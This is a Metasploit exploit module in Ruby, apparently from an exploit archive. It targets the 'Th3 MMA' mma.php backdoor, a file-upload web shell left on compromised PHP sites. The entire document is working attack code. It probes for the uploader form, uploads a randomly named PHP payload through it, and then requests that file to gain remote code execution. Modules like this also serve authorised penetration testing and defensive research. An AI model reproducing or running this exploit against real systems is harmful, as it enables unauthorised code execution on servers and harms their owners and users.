Th3 MMA – ‘mma.php’ Backdoor Arbitrary File Upload (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'nokogiri' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => 'Th3 MMA mma.php Backdoor Arbitrary File Upload', 'Description' => %q{ This module exploits Th3 MMA mma.php Backdoor which allows an arbitrary file upload that leads to arbitrary code execution. This backdoor also echoes the Linux kernel version or operating system version because of the php_uname() function. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jay Turla <@shipcod3>', ], 'References' => [ ['URL', 'http://blog.pages.kr/1307'] # Analysis of mma.php file upload backdoor ], 'Privileged' => false, 'Payload' => { 'Space' => 10000, 'DisableNops' => true }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ ['mma file uploader', {} ] ], 'DisclosureDate' => 'Apr 2 2012', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI',[true, "The path of the mma.php file uploader backdoor", "/mma.php"]), ],self.class) # sometimes it is under host/images/mma.php so you may want to set this one end def has_input_name?(nodes, name) nodes.select { |e| e.attributes['name'].value == name }.empty? ? false : true end def check uri = normalize_uri(target_uri.path) res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) if res n = ::Nokogiri::HTML(res.body) form = n.at('form[@id="uploader"]') inputs = form.search('input') if has_input_name?(inputs, 'file') && has_input_name?(inputs, '_upl') return Exploit::CheckCode::Appears end end Exploit::CheckCode::Safe end def exploit uri = normalize_uri(target_uri.path) payload_name = "#{rand_text_alpha(5)}.php" print_status("#{peer} - Trying to upload #{payload_name} to mma.php Backdoor") data = Rex::MIME::Message.new data.add_part('Upload', nil, nil, 'form-data; name="_upl"') data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{payload_name}\"") post_data = data.to_s res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data }) if res if res.body =~ /uplod d0n3 in SAME file/ print_good("#{peer} - Our payload #{payload_name} has been uploaded. Calling payload...") register_files_for_cleanup(payload_name) else fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}") end else fail_with(Failure::Unknown, 'Connection Timed Out') end send_request_cgi({ 'uri' => normalize_uri(payload_name), 'method' => 'GET' }) end end |